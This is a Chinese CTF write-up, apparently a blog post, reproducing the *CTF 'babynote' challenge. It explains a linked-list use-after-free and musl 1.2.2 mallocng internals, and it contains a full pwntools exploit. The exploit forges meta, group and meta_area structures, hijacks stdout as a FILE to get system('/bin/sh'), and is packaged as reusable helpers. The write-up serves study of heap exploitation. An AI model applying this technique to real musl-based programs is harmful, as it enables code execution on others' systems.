*CTF babynote 复现

比赛的时候写这个纯粹坐牢…之前完全没碰过musl,更不要说1.2.2版了 赛后做了一下复现,也是以此为契机入门一下musl

先放一下参考链接,强烈建议看本文前先看其中两至三篇
借助DefCon Quals 2021的mooosl学习musl mallocng(源码审计篇)
从musl libc 1.1.24到1.2.2 学习pwn姿势
新版musl-libc malloc源码分析与调试(Niebelungen大佬的文章,推荐程度最高)
musl libc(环境配置)
musl-1.2.x堆部分源码分析(推荐)
musl 1.2.2 总结+源码分析 One(chunk结构描述与环境配置,推荐)
从一次 CTF 出题谈 musl libc 堆漏洞利用(这篇是1.1.24 参考一下就好)
新版musl libc 浅析

首先声明,本文不是纯粹的musl源码分析,重点还是在题目上,敬请谅解

题目分析

乍一看是传统菜单题(函数均经过重命名)

add

实际上是维护了一个单链表,每个链表块大小为0x28(5 dword),链表结构如下所示

第一次输入的内容是key,第二次输入的内容是context,这两项长度都是可控的;链表块本身大小为0x28,不可控。add会按链表块、key、context的顺序去调用calloc进行存储。
每次插入都是往链表尾插入,manage_heap指针指向当前链表尾

find

这里需要看一下这个函数 manage_chain_check

作用实际上就是根据指针去遍历链表,查询到key与输入相同的链表块并返回链表块指针。
find函数通过该函数查询到链表块,再
注意一点:find中输入的key同样是靠calloc存储的,这一点在之后的利用中很关键

delete

在这里插入图片描述
这里也是漏洞点所在。本身是根据输入的key删除链表块,再free中国链表块的三个chunk。
问题出在manage_heap指针上。如果我们删除了链表头,也就是第一个申请的chunk,那么原链表中倒数第二个链表块中指向被删除链表块的manage_heap指针依然存在,也就是造成了UAF。

forget

没什么好说的,直接清除链表指针,相当于清空整个链表

漏洞利用

额外检查

首先需要特别提一下,这道题所有的堆块申请都是通过calloc完成的
这意味着两点:

  • 增加了一个检查
  • 申请到的堆块原内容会置0

这里给出calloc源码作为参考

#路径为\src\malloc\mallocng\calloc.c
void *calloc(size_t m, size_t n)
{
	if (n && m > (size_t)-1/n) {
		errno = ENOMEM;
		return 0;
	}
	n *= m;
	void *p = malloc(n);
	if (!p || (!__malloc_replaced && __malloc_allzerop(p)))
	#额外检查就是 __malloc_allzerop
		return p;
	n = mal0_clear(p, n);
	return memset(p, 0, n);
	#正常返回全部置0
}

返回置0很好理解,glibc的calloc也是这样子,但额外检查是什么情况?
__malloc_allzerop函数在之前的代码中有定义

static int allzerop(void *p)
{
	return 0;
}
weak_alias(allzerop, __malloc_allzerop);

似乎只是个返回0的无用函数。但注意这里是个weak_alias
而在\src\malloc\mallocng\glue.h中,有这样的定义

#define is_allzero __malloc_allzerop

\src\malloc\mallocng\malloc.c中,恰好有这么一个is_allzero函数

int is_allzero(void *p)
{
	struct meta *g = get_meta(p);
	#get_meta函数中有很多检查,请自行参考
	return g->sizeclass >= 48 ||
		get_stride(g) < UNIT*size_classes[g->sizeclass];
}

也就是说,is_allzore这个函数在编译时会被宏替换成__malloc_allzerop,由于有了强符号(函数),weak_alias(allzerop, __malloc_allzerop);语句实际上是没办法起作用的。
也就相当于calloc的时候也调用了is_allzero函数进行检查,对申请的meta和group结构有一定要求。
离谱,但这只是musl离谱的冰山一角。

堆块结构&申请与释放

这里来描述一下musl堆的结构和一点点申请与释放机制
看过参考文章的应该知道,musl堆是个这样子的结构 (师傅原谅我盗图)
在这里插入图片描述
堆块本身都位于group当中,groupmeta管理,全局结构体__malloc_context中存放了堆相关信息,最重要的一个就是active数组(由不同size class的meta指针组成)
以下定义均位于meta.h
__malloc_context结构

struct malloc_context {
	uint64_t secret;
	//check,防止伪造meta
#ifndef PAGESIZE
	size_t pagesize;
#endif
	int init_done;
	unsigned mmap_counter;
	struct meta *;
	struct meta *avail_meta;
	size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
	struct meta_area *meta_area_head, *meta_area_tail;
	unsigned char *avail_meta_areas;
	struct meta *active[48];  //关键数据结构,meta指针数组
	size_t usage_by_class[48];
	uint8_t unmap_seq[32], bounces[32];
	uint8_t seq;
	uintptr_t brk;
};

meta结构

struct meta {
	struct meta *prev, *next; //双链表
	struct group *mem; //group头指针
	volatile int avail_mask, freed_mask; #二者均为4字节
	//关键位,avail_mask表示哪些堆块可用,freed_mask表示哪些已经被free
	uintptr_t last_idx:5;
	uintptr_t freeable:1;
	uintptr_t sizeclass:6;
	uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

group结构

struct group {
	struct meta *meta;
	//开头是对应的meta指针
	unsigned char active_idx:5;
	//active_idx,与meta中last_idx一致
	//5 bit,group中堆块数目为active_idx+1
	char pad[UNIT - sizeof(struct meta *) - 1];
	unsigned char storage[];
};

不同于glibc,除了meta是一个双链表,groupmeta指针外,group内的堆块都没有采用链表机制,而是通过堆块头部的结构来标识自己与group头间的距离

举个例子

这里0x7f886b88bc50处即为group头,画红线处即为group头存储的meta指针
0x09即为active_idx(5bit,实际大小不足1字节)
0x7f886b88bc900x7f886b88bcc0两处分别为所获取的chunk,chunk头部分为黄、绿线所示
(chunk头为4字节,但实际使用仅2字节,即[-2]、[-3])
画黄线处[-2]表示与group头的距离,实际距离需+1再乘UNIT(0x10)
画绿线处[-3]表示chunk顺序,实际使用需&31
除了第一个chunk,每个chunk头前的低4字节实际上都可以被上面的chunk使用。

列几个方便理解的蜜汁写法
uint32_t mask = freed | avail;
获得当前所有可用chunk的bitmap表示(包括avail中未使用的和free中被释放的)
all = (2u<<g->last_idx)-1;
通过last_idx获得满的bitmap(若last_idx=2,即group一共3个chunk,则 all = 0b111 = 7)
uint32_t self = 1u<<idx
根据idx(也就是绿线部分&31)获取当前chunk在bitmap中的位置

以下描述的是大小较小的一般情况下的申请释放过程
每一次申请,都会先根据申请大小转换为size class,再根据size class从active数组取meta
musl 1.2.2完全重写了size class,所以它的堆块大小跟1.1.24完全不同了
如果该meta存在,且有avail chunk,那么直接取avail chunk并修改avail mask,通过enframe返回可用chunk
如果meta不存在,或者该meta没有avail chunk,则通过alloc_slot获取新的meta,再获取chunk并返回给用户

释放时是一个逆序过程,对chunk头置位,通过chunk索引到group和meta(一堆检查),如果之前没有释放过该group中的chunk或释放完group中全部为free chunk则进入nontrivial_free函数,否则仅更新meta中free_mask(注意不更新avail mask),直接返回。

nontrivial_free函数中,会先检查释放完这个chunk后,整个group是否都处于free状态,如果是,且meta链上还有下一个meta,那就通过dequeue让这个meta出队,再通过free_group释放掉group(这会让这个meta进入__malloc_context 中的free_meta_head备用)。此外,如果被释放的meta是头节点所指向的(链表头),那么会对新的链表头进行active_group操作,将free_mask加入avail_mask

如果是耗尽了一个group后第一次释放chunk,会将group对应的meta入队(因为前面申请直接跳过了)

注意一个点:一般的释放仅仅更新free mask,不会改变avail mask,而分配只看avail mask
这就导致了刚被释放的chunk不可能被重用,只有等group内全部chunk都被使用过了,再次申请的时候进入alloc_slot函数来将free_mask加入avail mask

还有一个点:nontrivial_free本身使用的dequeue和queue函数属于unsafe unlink,这也是一般攻击的着眼点

批评:
1.glibc都知道通过双链表维护结构完整性,,musl倒好,只有一个双链表还缺乏检查。
2.释放的时候居然通过chunk结构去索引高层次结构,本身chunk才是最容易受到攻击的吧
3. 懒狗一个。一堆操作和检查不写宏,就直接往代码里面一放。glibc这一点好不少

leak

既然我们已经有了UAF,那么通过这个做leak也是可行的。由于musl堆静态堆内存的特点,只要泄露堆地址就能拿到libc和elf地址。不过,musl堆本身不是链表,没有存储堆指针,所以还得进行一些操作。

释放完链表尾之后,我们就多出来了一个0x28的manage chunk,以及一个key chunk和一个context chunk。那么,假如通过控制堆块大小,使context chunk被重复使用作为manage chunk,就可以通过show来leak出新申请的key chunk和context chunk的地址。(原manage chunk中的key和context地址都被保留,可以索引到)

这里也有一个小点,由于musl无法立刻重用的性质,可以通过show来耗尽group中的avail chunk,以实现chunk重用,这一手法在本题中很常见

但这两个还不够,由于musl没有hook和onegadget,攻击方式只能局限于FSOP,这就要求通过free在active数组中创造fake meta。由于free过程中会根据meta索引meta_area并检查secret,因此还需要leak出secret。

注意到UAF指针始终存在,且第一步leak完两个地址之后,UAF指针所指向的0x28链表块已经被free,因此可以通过show再次申请0x28的chunk,将这个链表块里面的context指针覆盖为malloc_context,就可以leak出secret

attack

攻击的核心思路就是通过前述的篡改链表块内部指针,通过free chunk将提前布置好的fake meta释放到active数组中,再通过malloc申请到FILE结构体进行覆写,从而实现FSOP。

这个过程中的一个重点就是通过malloc和free时的get_meta检查。
检查部分源代码重点如下

	const struct group *base = (const void *)(p - UNIT*offset - UNIT);
	//根据chunK获取group和meta p为chunk指针
	const struct meta *meta = base->meta;
	assert(meta->mem == base);//检查
	assert(index <= meta->last_idx);
	assert(!(meta->avail_mask & (1u<<index)));
	assert(!(meta->freed_mask & (1u<<index)));
	//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
	const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
	//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
	assert(area->check == ctx.secret);//检查area中的secret

一般流程如下:申请大chunk(超过0x1000,目的是能够在一个chunk内获得形如0x xxxx000的地址,以布置meta area)——>在大chunk内布置好fake meta、fake group和fake meta area——>篡改结尾链表块内的指针(这里需要通过add 0x28 context的方法将链表块置为 Inuse,否则造成df,无法free)
——>del掉结尾链表块(篡改指针时将key指针置为已知有效值即可)——>成功释放

attack的核心是通过控制avail_mask, freed_mask,last_idx等参数,控制释放流程
一个常见trick是将avail_mask, freed_mask均置0以进入nontrivial_free,同时通过last_idx控制程序执行流

下面我结合exp进行讲解:
感谢提供exp的payong师傅

exp

# -*- coding:utf-8 -*-
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
#context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
context.binary = 'babynote'
io = process('babynote')
#io = remote('123.60.76.240', 60001)
libc = ELF('./libc.so')
elf = ELF('babynote')


def add(name_size, name, note_size, note):
    io.sendlineafter('option: ', '1')
    io.sendlineafter('name size: ', str(name_size))
    io.sendafter('name: ', name)
    io.sendlineafter('note size: ', str(note_size))
    io.sendafter('note content: ', note)


def show(name_size, name):
    io.sendlineafter('option: ', '2')
    io.sendlineafter('name size: ', str(name_size))
    io.sendafter('name: ', name)


def delete(name_size, name):
    io.sendlineafter('option: ', '3')
    io.sendlineafter('name size: ', str(name_size))
    io.sendafter('name: ', name)


def clear():
    io.sendlineafter('option: ', '4')


def pwn():
    gdb.attach(io,'b* $rebase(0x15b6)')
    #0x28共10个chunk,0x38共7个
    add(0x38, 'a' * 0x38, 0x38, 'a' * 0x38) #0x28 1
    clear()
    #我本机上第一次申请0x38的chunk会填满一个group,导致该chunk行为混乱。
    #clear可以避免,不过据大佬说这个clear目的不是这样子的
    for _ in range(8):
        show(0x28, 'z' * 0x28) #0x28 2-9 清空avail
    add(0x38, 'b' * 0x38, 0x28, 'b' * 0x28)#0x28 10 2 
    #alloc_slot重新置位后使用 这里令0x28 10为manage chunk是为了方面后面使用
    add(0x38, 'c' * 0x38, 0x38, 'c' * 0x38)#0x28 3
    delete(0x38, 'b' * 0x38)
    for _ in range(6):
        show(0x28, 'z' * 0x28)#清空avail
    add(0x38, 'd' * 0x38, 0x58, 'd' * 0x58)#0x28 2 manage chunk重用了b*0x28
    show(0x38, 'b' * 0x38)#第一次leak
    io.recvuntil('0x28:')
    leak_elf, leak_libc = 0, 0
    for i in range(8):
        leak_elf += (int(io.recv(2), 16)) << (i * 8)
    for i in range(8):
        leak_libc += (int(io.recv(2), 16)) << (i * 8)
    elf_base = leak_elf - 0x4d80
    libc_base = leak_libc - 0xb7870
    mmap_base = libc_base - 0x4000
    fake_meta_addr = mmap_base + 0x2010
    fake_mem_addr = mmap_base + 0x2040
    log.success('elf_base: ' + hex(elf_base))
    log.success('libc_base: ' + hex(libc_base))
    system = libc_base + libc.sym['system']
    bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
    stdout = libc_base + 0xb4280
    __malloc_context = libc_base + 0xb4ac0
    for _ in range(6):
        show(0x28, 'z' * 0x28)#清空avail,只留下最后的0x28 10
    payload = p64(elf_base + 0x4c80) + p64(__malloc_context) + p64(0x38) + p64(0x28) + p64(0)
    show(0x28, payload)#覆盖UAF指针指向的manage chunk,注意需要覆盖key指针不然容易混乱
    show(0x38, 'b' * 0x38)#show的内容就是__malloc_context
    io.recvuntil('0x28:')
    secret = 0
    for i in range(8):
        secret += (int(io.recv(2), 16)) << (i * 8)
    log.success('secret: ' + hex(secret))
    add(0x28, 'y' * 0x28, 0x1200, b'\n')#0x1200为了伪造fake meta 、fake group、fake meta area 
    last_idx, freeable, sc, maplen = 0, 1, 8, 1
    #fake meta
    fake_meta = p64(stdout - 0x18)                  # prev
    fake_meta += p64(fake_meta_addr + 0x30)         # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) 
    fake_meta += p64(0)
    #fake group
    fake_mem = p64(fake_meta_addr)                  # meta 
    fake_mem += p32(1) + p32(0)                     
    #前一个p32为active idx(实际只有5bit)+pad  
    #后一个p32为第一个chunk的idx,此处由于应为第一个chunk,
    #所以实际应为p32(0x8000),参见上图,不过用p32(0)结果是一样的
    payload = b'a' * 0xaa0
    #fake meta area
    payload += p64(secret) + p64(0)
    payload += fake_meta + fake_mem + b'\n'
    '''
    实际内存布局:
    0x1200 chunk 头:a*0xaa0
    0x xxx000 fake meta area 
    0x xxx010 fake meta
    0x xxx040 fake group
    '''
    show(0x1200, payload)
    #通过把fake meta、fake group、fake meta_area布置在一个页(0x1000内)来确保对齐
    for _ in range(3):
        show(0x28, 'z' * 0x28)
    payload = p64(elf_base + 0x4c40) + p64(fake_mem_addr + 0x10) + p64(0x38) + p64(0x28) + p64(0)
    add(0x58, 'e' * 0x58, 0x28, payload)#覆盖UAF指针指向的manage chunk
    delete(0x38, 'a' * 0x38)#释放UAF链表块,包括了释放fake_mem_addr + 0x10
	'''这一次释放是为了在stdout-0x18的地方写入fake_meta_addr + 0x30,
	目的是为了通过最后一次申请时get meta的校验'''

    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
    fake_meta = p64(0)                              # prev
    fake_meta += p64(0)                             # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)
    fake_mem = p64(fake_meta_addr)                  # meta
    fake_mem += p32(1) + p32(0)
    payload = b'a' * 0xa90
    payload += p64(secret) + p64(0)
    payload += fake_meta + fake_mem + b'\n'
    show(0x1200, payload)
    for _ in range(2):
        show(0x28, 'z' * 0x28)
    payload = p64(elf_base + 0x4cc0) + p64(fake_mem_addr + 0x10) + p64(0x30) + p64(0x28) + p64(0)
    add(0x58, 'f' * 0x58, 0x28, payload)
    delete(0x30, 'c' * 0x30)
	'''这次释放的目的是为了将fake meta(在0x1200堆块处)释放到active数组中
		注意以上两次释放通过控制last idx实现了对释放过程中nontrivial_free的执行流控制
		也就是dequeue和queue'''
    last_idx, freeable, sc, maplen = 1, 0, 8, 0
    fake_meta = p64(fake_meta_addr)                 # prev
    fake_meta += p64(fake_meta_addr)                # next
    fake_meta += p64(stdout - 0x10)                 # mem
    fake_meta += p32(1) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += b'a' * 0x18
    fake_meta += p64(stdout - 0x10)
    payload = b'a' * 0xa80
    payload += p64(secret) + p64(0)
    payload += fake_meta + b'\n'
    show(0x1200, payload)
    '''直接覆盖fake meta,将mem改成io FILE指针,此时不需要释放所以不用管group'''
    # payload = p64(libc_base + 0xb78d0) + p64(fake_mem_addr + 0x10) + p64(0x50) + p64(0x28) + p64(0)
    # add(0x58, 'g' * 0x58, 0x28, payload)
    # delete(0x50, 'e' * 0x50)
    # gdb.attach(io)
    io.sendlineafter('option: ', '1')
    io.sendlineafter('name size: ', str(0x28))
    io.sendafter('name: ', '\n')
    io.sendlineafter('note size: ', str(0x80))#sc为8
    '''io file覆写,由于传参所以需要申请stdout - 0x10'''
    fake_IO  = b'/bin/sh\x00'                       # flags
    fake_IO += p64(0)                               # rpos
    fake_IO += p64(0)                               # rend
    fake_IO += p64(libc_base + 0x5c9a0)             # close
    fake_IO += p64(1)                               # wend
    fake_IO += p64(1)                               # wpos
    fake_IO += p64(0)                               # mustbezero_1
    fake_IO += p64(0)                               # wbase
    fake_IO += p64(0)                               # read
    fake_IO += p64(libc_base + libc.sym['system'])  # write
    io.sendline(fake_IO)
    # pause()
    io.interactive()


if __name__ == '__main__':
    pwn()

一些想法

exp最有意思的地方在于重用和覆盖。通过让context指针成为manage chunk来leak,通过覆盖manage chunk来leak,通过0x1200堆块的重用来实现fake meta相关的释放和覆写,这一切都仅仅依靠于一个UAF的链表指针和堆机制,仅此而已

注意一点,group的active idx本应与meta中last idx一致,但实际上并没有这方面的检查,题目第一次free也利用了这一点

贴一个fake结构图供参考

提取一下大佬的脚本,组成封装fake结构的函数(padding要自行计算)

def fake_meta(_prev,_next,fake_mem_addr,avail=0,freed=0,last_idx,freeable,sc,maplen=0):
    fake_meta = p64(_prev)                              # prev
    fake_meta += p64(_next)                             # next
    fake_meta += p64(fake_mem_addr)                 	# mem
    fake_meta += p32(avail) + p32(freed)                # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)
    return fake_meta 
    
def fake_group(fake_meta_addr,active_idx,idx):
    fake_group = p64(fake_meta_addr)                  # meta
    fake_group += p32(active_idx)
    fake_group +=  p32(idx)
    return fake_group

def fake_area(padding,secret):
	fake_area = b'a' * padding
    fake_area += p64(secret) + p64(0)             
    return fake_area

fa=fake_area()
fm=fake_meta()
fg=fake_group()
payload=fa+fm+fg

最后还是感谢payong师傅,师傅tql2333

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值